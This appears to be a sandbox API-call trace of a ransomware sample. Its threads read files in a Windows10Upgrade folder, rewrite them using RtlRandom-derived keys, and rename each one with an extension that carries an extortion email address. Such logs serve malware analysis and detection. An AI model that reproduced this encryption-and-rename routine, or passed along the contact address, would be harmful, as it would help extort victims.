	[0086.466] ReadFile (in: hFile=0x1914, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0086.467] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb3fd8
	[0086.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0086.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0086.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0086.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0086.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.469] WriteFile (in: hFile=0x1914, lpBuffer=0x4fb3fd8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4fb3fd8*, lpNumberOfBytesWritten=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0087.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb3fd8) returned 1
	[0087.267] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.267] ReadFile (in: hFile=0x1914, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0087.276] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.279] WriteFile (in: hFile=0x1914, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0087.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.283] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x8b60d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.283] ReadFile (in: hFile=0x1914, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0087.284] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x8b60d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0087.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0087.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0087.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.286] WriteFile (in: hFile=0x1914, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x29d3f8a4, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x29d3f8a4*=0xc800, lpOverlapped=0x0) returned 1
	[0087.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0087.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0087.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fa77d0) returned 1
	[0087.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x477a868
	[0087.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0087.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.289] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x477a8a8
	[0087.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x157) returned 0x2e02570
	[0087.290] SetFilePointerEx (in: hFile=0x1914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.290] WriteFile (in: hFile=0x1914, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x29d3f94c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x29d3f94c*=0x157, lpOverlapped=0x0) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a8a8) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a868) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0087.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0087.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a198
	[0087.293] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht"
	[0087.293] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.293] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29d3f904, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea3a0
	[0087.293] NtSetInformationFile (FileHandle=0x1914, IoStatusBlock=0x29d3f8fc, FileInformation=0x47ea3a0, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0087.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cae0) returned 1
	[0087.294] NtQueryInformationFile (in: FileHandle=0x1914, IoStatusBlock=0x29d3f910, FileInformation=0x29d3f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29d3f910, FileInformation=0x29d3f8e8) returned 0x0
	[0087.294] NtSetInformationFile (FileHandle=0x1914, IoStatusBlock=0x29d3f910, FileInformation=0x29d3f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0087.295] FlushFileBuffers (hFile=0x1914) returned 1
	[0093.119] CloseHandle (hObject=0x1914) 

Thread:
	id = 1198
	os_tid = 0x1f2c

	[0086.467] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png")) returned 0x20
	[0086.467] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", dwFileAttributes=0x20) returned 1
	[0086.471] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1918
	[0086.471] GetFileSizeEx (in: hFile=0x1918, lpFileSize=0x29dbfa68 | out: lpFileSize=0x29dbfa68*=2165) returned 1
	[0086.471] SetFilePointerEx (in: hFile=0x1918, liDistanceToMove=0x871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.471] ReadFile (in: hFile=0x1918, lpBuffer=0x29dbf9ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x29dbf9ec*, lpNumberOfBytesRead=0x29dbf9e8*=0x4, lpOverlapped=0x0) returned 1
	[0086.472] SetFilePointerEx (in: hFile=0x1918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0086.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.473] NtQuerySystemTime (in: CurrentTime=0x29dbf9c8 | out: CurrentTime=0x29dbf9c8*=132251868132101134) returned 0x0
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x17d0e051
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x50776a95
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x57edd1d6
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x5c51140b
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xf85ea805
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x7b2e35a
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x11fe4edc
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x2a7b928a
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x651858bc
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x3246603f
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x23b5ade1
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xc05f074c
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x1c41d0a3
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xc5492703
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xe03ab4c7
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xdb3226d1
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x7e46afdc
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xa2751aef
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x829571f7
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x77dee576
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x1175fe77
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x4d7a5084
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x8a744e9c
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xee613e91
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x9f253d5e
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xf0aa2982
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xe8be0a6d
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xbe610c9d
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x6cfdf601
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x5d1e0666
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0xe6106431
	[0086.473] RtlRandom (in: Seed=0x29dbf9d4 | out: Seed=0x29dbf9d4) returned 0x46838ec2
	[0086.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47948
	[0086.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0086.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fc07e0
	[0086.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0086.486] ReadFile (in: hFile=0x1918, lpBuffer=0x4fc07e0, nNumberOfBytesToRead=0x875, lpNumberOfBytesRead=0x29dbf9c4, lpOverlapped=0x0 | out: lpBuffer=0x4fc07e0*, lpNumberOfBytesRead=0x29dbf9c4*=0x875, lpOverlapped=0x0) returned 1
	[0086.486] SetFilePointerEx (in: hFile=0x1918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.486] WriteFile (in: hFile=0x1918, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x875, lpNumberOfBytesWritten=0x29dbf9c0, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x29dbf9c0*=0x875, lpOverlapped=0x0) returned 1
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fc07e0) returned 1
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb3d8
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb0c0
	[0086.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479e8
	[0086.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479e8) returned 1
	[0086.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0086.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x498eaf0
	[0086.488] SetFilePointerEx (in: hFile=0x1918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.488] WriteFile (in: hFile=0x1918, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x29dbfa28, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x29dbfa28*=0x11f, lpOverlapped=0x0) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47808) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0086.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47948) returned 1
	[0086.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2cf60
	[0086.489] wcscpy (in: _Dest=0x4f2cf60, _Source="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png"
	[0086.489] wcscat (in: _Dest=0x4f2cf60, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29dbf9e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477ca40
	[0086.490] NtSetInformationFile (FileHandle=0x1918, IoStatusBlock=0x29dbf9d8, FileInformation=0x477ca40, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0086.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0086.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0086.503] NtQueryInformationFile (in: FileHandle=0x1918, IoStatusBlock=0x29dbf9ec, FileInformation=0x29dbf9c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29dbf9ec, FileInformation=0x29dbf9c4) returned 0x0
	[0086.503] NtSetInformationFile (FileHandle=0x1918, IoStatusBlock=0x29dbf9ec, FileInformation=0x29dbf9c4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cf60) returned 1
	[0086.504] FlushFileBuffers (hFile=0x1918) returned 1
	[0093.102] CloseHandle (hObject=0x1918) 

Thread:
	id = 1199
	os_tid = 0x1f30

	[0086.502] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png")) returned 0x20
	[0086.505] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", dwFileAttributes=0x20) returned 1
	[0086.505] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x191c
	[0086.505] GetFileSizeEx (in: hFile=0x191c, lpFileSize=0x29e3fd0c | out: lpFileSize=0x29e3fd0c*=2212) returned 1
	[0086.505] SetFilePointerEx (in: hFile=0x191c, liDistanceToMove=0x8a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.505] ReadFile (in: hFile=0x191c, lpBuffer=0x29e3fc90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29e3fc8c, lpOverlapped=0x0 | out: lpBuffer=0x29e3fc90*, lpNumberOfBytesRead=0x29e3fc8c*=0x4, lpOverlapped=0x0) returned 1
	[0086.507] SetFilePointerEx (in: hFile=0x191c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0086.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.507] NtQuerySystemTime (in: CurrentTime=0x29e3fc6c | out: CurrentTime=0x29e3fc6c*=132251868132413567) returned 0x0
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0xd446cc14
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x7e98a18f
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x9ab5e52f
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x8b648330
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x6116661b
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x4ae8fbd2
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x6dfc4270
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x2a5a0761
	[0086.507] RtlRandom (in: Seed=0x29e3fc78 | out: Seed=0x29e3fc78) returned 0x9e2c9027
